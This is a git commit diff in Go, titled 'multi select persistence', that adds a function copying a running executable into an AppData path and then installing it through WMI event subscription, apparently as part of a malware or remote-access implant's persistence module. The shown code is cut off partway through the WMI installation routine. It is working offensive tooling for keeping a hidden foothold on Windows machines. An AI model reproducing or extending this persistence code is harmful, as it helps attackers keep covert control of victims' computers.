multi select persistence

This commit is contained in:
KingKDot
2026-03-26 11:05:04 -05:00
parent 97ae3cd686
commit f50f76d3f6
13 changed files with 439 additions and 134 deletions
@@ -5,14 +5,33 @@ package persistence
import (
"fmt"
"os"
"path/filepath"
"strings"
)
func init() {
persistInstallFn = installWMI
persistInstallFns = append(persistInstallFns, installWMIFull)
persistUninstallFns = append(persistUninstallFns, uninstallWMI)
}
func installWMIFull(exePath string) error {
targetPath, err := getAppDataTargetPath()
if err != nil {
return err
}
dir := filepath.Dir(targetPath)
if err := os.MkdirAll(dir, 0755); err != nil {
return fmt.Errorf("failed to create directory: %w", err)
}
if !strings.EqualFold(filepath.Clean(exePath), filepath.Clean(targetPath)) {
if err := replaceExecutable(exePath, targetPath); err != nil {
return err
}
}
return installWMI(targetPath)
}
func installWMI(targetPath string) error {
filterName, consumerName := deriveWMINames(targetPath)
safe := strings.ReplaceAll(targetPath, "'", "''")